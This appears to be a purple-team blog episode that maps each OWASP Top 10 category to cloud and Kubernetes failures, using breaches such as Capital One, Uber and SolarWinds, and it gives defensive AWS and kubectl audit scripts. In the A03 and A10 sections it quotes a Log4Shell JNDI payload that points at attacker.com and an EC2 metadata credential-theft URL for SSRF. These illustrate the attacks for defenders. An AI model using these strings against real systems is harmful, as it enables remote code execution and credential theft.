What is purple team security → OWASP Top 10 mapped to cloud infrastructure → EP03: Cloud security breaches 2020–2025
TL;DR
- OWASP Top 10 cloud infrastructure mapping shows that every category has a direct cloud-native equivalent — this is not a web-app-only taxonomy
- A01 Broken Access Control = IAM wildcards, public S3, overly permissive trust policies
- A07 Authentication Failures = MFA fatigue, session token theft, push-notification abuse
- A08 Software/Data Integrity = compromised build pipelines, unsigned container images, secrets in CI/CD
- A10 SSRF = EC2 metadata endpoint abuse, IMDSv1 credential theft (the Capital One attack vector)
- Every major cloud breach 2020–2025 lands in one of these ten categories — the taxonomy was always infrastructure-applicable
OWASP Mapping: All categories — A01 through A10. This episode is the reference map for the entire series.
The Big Picture
┌─────────────────────────────────────────────────────────────────────┐
│ OWASP TOP 10 → CLOUD INFRASTRUCTURE MAPPING │
│ │
│ OWASP (2021) CLOUD EQUIVALENT REAL BREACH │
│ ───────────────────────────────────────────────────────────────── │
│ A01 Broken Access Ctrl → IAM wildcards, public S3 Capital One │
│ A02 Cryptographic Fail → Plaintext secrets, weak CircleCI │
│ KMS config │
│ A03 Injection → Log4j JNDI, SSRF as Log4Shell │
│ injection variant │
│ A04 Insecure Design → --privileged containers runc CVEs │
│ no seccomp/AppArmor │
│ A05 Security Misconfig → K8s RBAC defaults, open Multiple │
│ etcd ports │
│ A06 Vulnerable Comps → Transitive deps, outdated XZ Utils │
│ base images │
│ A07 Auth Failures → MFA fatigue, stolen Uber, Okta │
│ session tokens │
│ A08 SW/Data Integrity → Unsigned artifacts, SolarWinds │
│ compromised pipelines │
│ A09 Logging/Monitoring → Missing CloudTrail, Most │
│ no workload telemetry │
│ A10 SSRF → EC2 IMDS abuse, metadata Capital One │
│ credential theft │
└─────────────────────────────────────────────────────────────────────┘
OWASP Top 10 cloud infrastructure mapping is not a translation exercise — it is a recognition that the same classes of failure that compromise web applications also compromise cloud infrastructure, Kubernetes clusters, and CI/CD pipelines. The language shifts; the attack classes don’t.
Why Engineers Treat OWASP as a Web-App-Only Concern
I kept hearing OWASP Top 10 in web application security reviews. The AppSec team ran it through their checklist. The infrastructure team shrugged — “that’s for the developers.” Then I looked at the actual cloud breaches: Capital One, Uber, CircleCI, SolarWinds. Every one of them mapped to an OWASP category.
The confusion comes from OWASP’s origins. The project started in 2001 focused on web application vulnerabilities. SQL injection, XSS, broken authentication against HTTP endpoints. The cloud and container ecosystem didn’t exist. So the examples stayed web-application-centric even as the underlying failure classes proved universal.
The 2021 OWASP Top 10 update is more abstracted than its predecessors — intentionally. “Broken Access Control” doesn’t say “SQL injection.” It says access control. That applies to every IAM policy that has "Action": "*" where it shouldn’t.
This episode makes the mapping explicit. One OWASP category at a time.
A01: Broken Access Control — IAM Wildcards and Public S3
Web equivalent: A user can access other users’ records by modifying the URL parameter.
Cloud equivalent: An IAM role with "Action": "*" on "Resource": "*". An S3 bucket with public read. A cross-account trust policy that allows any principal in the account, not just a specific role.
Broken access control in cloud infrastructure means the principal can reach a resource it should not be able to reach, because the access control decision was not made or was made incorrectly.
The Capital One breach (2019, disclosed publicly) is the canonical example. A WAF running on EC2 had an IAM role attached. That role had permissions to list and retrieve objects from S3 buckets. SSRF against the WAF reached the EC2 metadata endpoint and retrieved the IAM role credentials. Those credentials then accessed 100 million customer records. The SSRF was A10. The fact that the WAF had access to customer data S3 buckets was A01.
aws s3control get-public-access-block --account-id $(aws sts get-caller-identity --query Account --output text)
# Find buckets that override the account-level block
aws s3api list-buckets --query 'Buckets[].Name' --output text | \
tr '\t' '\n' | \
while read bucket; do
result=$(aws s3api get-public-access-block --bucket "$bucket" 2>/dev/null)
if echo "$result" | grep -q '"BlockPublicAcls": false'; then
echo "PUBLIC ACCESS NOT BLOCKED: $bucket"
fi
done
A02: Cryptographic Failures — Plaintext Secrets and Weak KMS Config
Web equivalent: Passwords stored as MD5 hashes. Credit card numbers in plaintext in the database.
Cloud equivalent: DATABASE_URL=postgres://user:password@host/db in a .env file committed to a public repository. An S3 bucket with sensitive data where server-side encryption is not enforced. KMS key policies that allow kms:Decrypt to any principal in the account.
Cryptographic failures in the cloud are less about broken algorithms and more about secrets that aren’t secret. The CircleCI breach (January 2023) exposed customer secrets — API tokens, AWS credentials, private keys — that customers had stored in CircleCI’s environment variables. The attacker compromised CircleCI’s infrastructure and exfiltrated those secrets. The cryptographic failure was that secrets were stored in a way that could be exfiltrated when the platform was compromised, rather than being bound to hardware or using short-lived credentials that couldn’t be replayed.
# Check if default EBS encryption is enabled (prevents data at rest failures)
aws ec2 get-ebs-encryption-by-default --region us-east-1
# Check for S3 buckets without default encryption
aws s3api list-buckets --query 'Buckets[].Name' --output text | \
tr '\t' '\n' | \
while read bucket; do
enc=$(aws s3api get-bucket-encryption --bucket "$bucket" 2>/dev/null)
if [ -z "$enc" ]; then
echo "NO DEFAULT ENCRYPTION: $bucket"
fi
done
A03: Injection — Log4Shell and SSRF as Injection Variants
Web equivalent: SQL injection via unsanitized query parameters.
Cloud equivalent: Log4Shell (CVE-2021-44228) used JNDI lookup injection via HTTP headers to execute arbitrary code in Java applications. SSRF (Server-Side Request Forgery) is an injection variant where attacker-controlled input causes the server to make requests to internal endpoints — including http://169.254.169.254/latest/meta-data/.
Log4Shell (December 2021) demonstrated injection against infrastructure directly. The User-Agent or X-Forwarded-For header contained ${jndi:ldap://attacker.com/exploit}. The logging framework evaluated it. The outcome was remote code execution on any Java application using Log4j 2.x.
The fix was not “validate user input better.” The fix was patching Log4j and — for SSRF — enforcing IMDSv2 (which requires a PUT request with a session token that a naive SSRF cannot produce).
# Check if all EC2 instances require IMDSv2 (prevents SSRF-to-metadata attacks)
aws ec2 describe-instances \
--query 'Reservations[].Instances[].{ID:InstanceId,IMDSv2:MetadataOptions.HttpTokens}' \
--output table
# Desired: HttpTokens = "required" for all instances
A04: Insecure Design — Privileged Containers and Missing Runtime Controls
Web equivalent: Application architecture where any authenticated user can reach administrative functions without additional authorization checks.
Cloud equivalent: A container deployed with --privileged: true or allowPrivilegeEscalation: true. A Kubernetes pod without securityContext restricting capabilities. A cluster with no admission controller enforcing pod security standards.
Insecure design in the container context means the security controls that should prevent container breakout were never there. They weren’t removed — they were never designed in. The kernel doesn’t enforce namespace isolation when a container has CAP_SYS_ADMIN. The attacker doesn’t exploit a vulnerability — they use capabilities the design granted.
# Find pods running as root or with privileged flag
kubectl get pods -A -o json | \
jq -r '.items[] |
select(
(.spec.containers[].securityContext.privileged == true) or
(.spec.securityContext.runAsNonRoot != true)
) |
"\(.metadata.namespace)/\(.metadata.name)"'
A05: Security Misconfiguration — Default Kubernetes RBAC and Open Ports
Web equivalent: Default admin credentials not changed. Directory listing enabled on the web server.
Cloud equivalent: kubectl access with cluster-admin ClusterRoleBinding for the default service account. etcd port 2379 accessible from the pod network. AWS security groups with 0.0.0.0/0 on port 22.
Security misconfiguration in Kubernetes is particularly common because the defaults in older Kubernetes versions were not secure-by-default. The default service account in each namespace mounts a service account token that can authenticate to the API server. In clusters without RBAC properly configured, that token can enumerate and modify resources.
# Check what the default service account can do in a namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default
# Find ClusterRoleBindings that bind cluster-admin to non-system subjects
kubectl get clusterrolebindings -o json | \
jq '.items[] |
select(.roleRef.name == "cluster-admin") |
{name: .metadata.name, subjects: .subjects}'
A06: Vulnerable and Outdated Components — Transitive Dependencies and Base Images
Web equivalent: An npm package in the dependency tree has a known CVE. The application ships with an outdated version of OpenSSL.
Cloud equivalent: A container base image built from ubuntu:20.04 six months ago, now carrying 47 critical CVEs in installed packages. A Lambda function with a vendored boto3 version that has a known vulnerability. XZ Utils (CVE-2024-3094) — a backdoor inserted into the release tarball of a compression library present in almost every major Linux distribution.
XZ Utils is the defining example of this category in the infrastructure context. The attack was supply chain: two years of social engineering against a maintainer, gaining commit access, inserting a backdoor in the release tarball rather than the source repository (so source audits wouldn’t catch it). The XZ backdoor targeted SSH servers on systems using systemd — it would have given the attacker remote code execution on SSH servers across Fedora, Debian, and Ubuntu before it was caught five weeks before broad distribution release.
# Scan a container image for known CVEs (requires trivy)
trivy image --severity HIGH,CRITICAL your-registry/your-image:tag
# Check Lambda function runtime versions against AWS's deprecation schedule
aws lambda list-functions \
--query 'Functions[].{Name:FunctionName,Runtime:Runtime,LastModified:LastModified}' \
--output table
A07: Identification and Authentication Failures — MFA Fatigue and Stolen Tokens
Web equivalent: Session tokens that don’t expire. Password reset links that work indefinitely.
Cloud equivalent: Push-notification MFA that can be exhausted by fatigue attacks. AWS console sessions with 12-hour validity. OAuth tokens stored in browser local storage. SAML assertions that can be replayed.
The Uber breach (September 2022) is the canonical cloud/SaaS example. A contractor’s credentials were obtained via social engineering. The attacker sent repeated Duo push notifications — the contractor rejected them. The attacker then sent a WhatsApp message claiming to be IT support and asking the contractor to accept the next notification. They did. From there, the attacker found a network share containing a PowerShell script with hardcoded admin credentials for Uber’s Thycotic PAM system — full access to the Uber internal network.
The authentication failure was two-layered: push MFA that could be fatigue-attacked, and credentials stored in plaintext in an accessible location.
# List IAM users with console access but no MFA enrolled
aws iam get-account-summary | jq '{AccountMFAEnabled: .SummaryMap.AccountMFAEnabled}'
# Find specific users without MFA
aws iam list-users --query 'Users[].UserName' --output text | \
tr '\t' '\n' | \
while read user; do
mfa=$(aws iam list-mfa-devices --user-name "$user" --query 'MFADevices' --output text)
if [ -z "$mfa" ]; then
echo "NO MFA: $user"
fi
done
A08: Software and Data Integrity Failures — Compromised Build Pipelines
Web equivalent: Pulling npm packages without verifying checksums. Deploying a build without artifact signing.
Cloud equivalent: A CI/CD pipeline that pulls dependencies from an unauthenticated source. A container image built from a Dockerfile that pulls the latest version of a base image without pinning the digest. A GitHub Actions workflow that references a third-party action at a mutable tag rather than a commit SHA.
SolarWinds (December 2020) is the infrastructure-scale example. The attacker compromised SolarWinds’ build system. The malicious code (SUNBURST) was inserted into the Orion software build process, signed with SolarWinds’ legitimate code signing certificate, and distributed to approximately 18,000 customers via the normal software update mechanism. The artifact was signed. The signature verified. The code was malicious.
The software integrity failure was that the build pipeline itself was not monitored or hardened — an attacker who controlled the build environment could produce signed, trusted artifacts.
# Check GitHub Actions workflows for mutable action references (uses @main or @v1 instead of SHA)
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
# Verify a container image digest before deployment
docker pull your-registry/your-image:tag
docker inspect your-registry/your-image:tag --format='{{.Id}}'
# Compare this digest to the pinned value in your deployment manifest
A09: Security Logging and Monitoring Failures — What You Can’t See, You Can’t Stop
Web equivalent: No access logs on the web server. No alerting on repeated failed login attempts.
Cloud equivalent: CloudTrail not enabled in all regions. VPC Flow Logs disabled. No GuardDuty. Container workloads with no runtime security monitoring. Lambda functions that log errors to /dev/null.
This is the category that causes the 11-day detection time from EP01. The attacker’s techniques generated events. The events were not collected, or collected but not alerting, or alerting but not investigated.
# Verify CloudTrail is logging in all regions
aws cloudtrail describe-trails --include-shadow-trails true \
--query 'trailList[?IsMultiRegionTrail==`true`].{Name:Name,Bucket:S3BucketName,Logging:HasCustomEventSelectors}'
# Check which regions have GuardDuty disabled
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
status=$(aws guardduty list-detectors --region "$region" --query 'DetectorIds' --output text 2>/dev/null)
if [ -z "$status" ]; then
echo "GUARDDUTY DISABLED: $region"
fi
done
A10: Server-Side Request Forgery (SSRF) — EC2 Metadata and IMDSv1
Web equivalent: An application fetches a URL provided by the user. The user provides http://internal-service/admin.
Cloud equivalent: An application fetches a URL provided by the user (or constructed from user input). The user provides http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response contains temporary IAM credentials valid for the attached instance role.
This is how the Capital One breach worked. A WAF instance had a SSRF vulnerability. The attacker exploited it to reach the EC2 Instance Metadata Service (IMDS). IMDSv1 has no authentication — any HTTP GET to the metadata endpoint from inside the instance returns credentials. Those credentials had overly permissive S3 access (A01). The result was 100 million records exfiltrated.
IMDSv2 requires a PUT request to get a session token before credentials can be retrieved — a SSRF via GET cannot retrieve IMDSv2 credentials. Enforcing IMDSv2 closes the SSRF-to-credentials path.
# Check all EC2 instances for IMDSv1 (HttpTokens != "required" means vulnerable)
aws ec2 describe-instances \
--query 'Reservations[].Instances[].{
ID:InstanceId,
Name:Tags[?Key==`Name`]|[0].Value,
IMDSv2:MetadataOptions.HttpTokens,
State:State.Name
}' \
--output table
# Enforce IMDSv2 on a specific instance
aws ec2 modify-instance-metadata-options \
--instance-id i-0123456789abcdef0 \
--http-tokens required \
--http-endpoint enabled
The Series Attack Map: Which Episodes Cover Which Categories
| OWASP | Category | Purple Team Episode |
|---|---|---|
| A01 | Broken Access Control | EP04: Broken access control in AWS |
| A02 | Cryptographic Failures | EP06 (partial): CI/CD secrets exposure |
| A03 | Injection | EP07: SSRF to cloud metadata |
| A04 | Insecure Design | EP08: Kubernetes container escape |
| A05 | Security Misconfiguration | EP08: Kubernetes container escape |
| A06 | Vulnerable Components | EP09: Supply chain attacks |
| A07 | Authentication Failures | EP05: MFA fatigue attacks |
| A08 | SW/Data Integrity | EP06: CI/CD secrets exposure, EP09: Supply chain |
| A09 | Logging/Monitoring Failures | EP11: Detection engineering with eBPF |
| A10 | SSRF | EP07: SSRF to cloud metadata |
Run This in Your Own Environment: OWASP Coverage Self-Assessment
Run this against your AWS account and record the results as your OWASP A01–A10 baseline before the EP04 exercise:
#!/bin/bash
# Purple Team EP02 — OWASP Cloud Coverage Check
# Run in an account with read-only IAM permissions
echo "=== A01: Broken Access Control ==="
echo "--- S3 public access block status ---"
aws s3control get-public-access-block \
--account-id $(aws sts get-caller-identity --query Account --output text) 2>/dev/null || \
echo "WARN: Account-level public access block not set"
echo ""
echo "=== A02: Cryptographic Failures ==="
echo "--- EBS default encryption ---"
aws ec2 get-ebs-encryption-by-default --query 'EbsEncryptionByDefault' --output text
echo ""
echo "=== A05: Security Misconfiguration ==="
echo "--- GuardDuty status in current region ---"
aws guardduty list-detectors --query 'DetectorIds' --output text || echo "DISABLED"
echo ""
echo "=== A07: Authentication Failures ==="
echo "--- IAM users without MFA ---"
aws iam generate-credential-report 2>/dev/null
sleep 3
aws iam get-credential-report --query 'Content' --output text | base64 -d | \
awk -F',' 'NR>1 && $4=="true" && $8=="false" {print "NO MFA: "$1}'
echo ""
echo "=== A09: Logging/Monitoring Failures ==="
echo "--- CloudTrail multi-region trail ---"
aws cloudtrail describe-trails --query 'trailList[?IsMultiRegionTrail==`true`].Name' --output text || \
echo "WARN: No multi-region trail"
echo ""
echo "=== A10: SSRF ==="
echo "--- EC2 instances with IMDSv1 enabled ---"
aws ec2 describe-instances \
--query 'Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].{ID:InstanceId,IMDS:MetadataOptions.HttpTokens}' \
--output table
⚠ Common Mistakes When Mapping OWASP to Infrastructure
Treating it as a checklist, not a threat model. OWASP categories are not yes/no checkboxes. “Is broken access control present?” is not a question with a binary answer. The question is: which resources are accessible to which principals, and is that access correct given the intended design?
Ignoring A09 (Logging/Monitoring) until the breach. The first nine categories are about preventing or limiting the attack. A09 is about knowing it happened. Without A09 controls, you will not know you were breached until a third party tells you.
Fixing web-layer controls and ignoring the infrastructure equivalents. An organization that scores well on OWASP in their web application pen test may still have public S3 buckets, IMDSv1 enabled everywhere, and no CloudTrail in us-west-1. The mapping in this episode applies to infrastructure — run it separately from your application security assessments.
Conflating A06 (Vulnerable Components) with just “patch management.” XZ Utils was fully patched in the affected timeframe — the malicious version was the latest release. A06 in the supply chain context is about verifying the integrity of what you install, not just its version number.
Quick Reference
| OWASP | Cloud Infrastructure Equivalent | Detection Tool |
|---|---|---|
| A01 | IAM wildcards, public S3, broad trust policies | AWS Config, CloudTrail |
| A02 | Plaintext secrets in env vars, unencrypted S3 | TruffleHog, Macie |
| A03 | SSRF, Log4j JNDI injection | WAF logs, CloudTrail IMDS calls |
| A04 | Privileged containers, no seccomp | OPA/Gatekeeper, Falco |
| A05 | K8s RBAC defaults, open etcd, open SGs | kube-bench, AWS Config |
| A06 | Unpatched base images, transitive CVEs, supply chain | Trivy, Grype, SLSA |
| A07 | MFA fatigue, long-lived sessions, stolen tokens | GuardDuty, Okta logs |
| A08 | Unsigned images, mutable CI references, build compromise | Cosign, SLSA, OIDC |
| A09 | No CloudTrail, no GuardDuty, no runtime telemetry | AWS Security Hub |
| A10 | IMDSv1 on EC2, SSRF to internal endpoints | VPC Flow Logs, CloudTrail |
Key Takeaways
- OWASP Top 10 is a threat taxonomy — every category has a cloud, Kubernetes, or Linux infrastructure equivalent
- A01 (Broken Access Control) is the most common cloud failure: IAM wildcards, public S3, and overly broad trust policies
- A10 (SSRF) is what enabled the Capital One breach — IMDSv1 on EC2 makes any SSRF a credential theft path
- A08 (Software/Data Integrity) is the SolarWinds attack class — supply chain compromise of the build pipeline itself
- A09 (Logging/Monitoring) is the category that turns the other nine from “detectable breach” into “11-day dwell time”
- Fixing A01–A08 without A09 means you improve your controls but still won’t know when they’re bypassed
- Run the OWASP coverage self-assessment above and record your baseline before starting the episode exercises
What’s Next
EP03 is the breach landscape: six major incidents from December 2020 (SolarWinds) through April 2024 (XZ Utils). Each one maps to the OWASP categories from this episode. The pattern across all six is three root causes — identity, supply chain, misconfiguration — and understanding that pattern tells you where to spend your next purple team exercise. The cloud security breaches from 2020 to 2025 are the empirical record this series is built on.
Get EP03 in your inbox when it publishes → subscribe at linuxcent.com
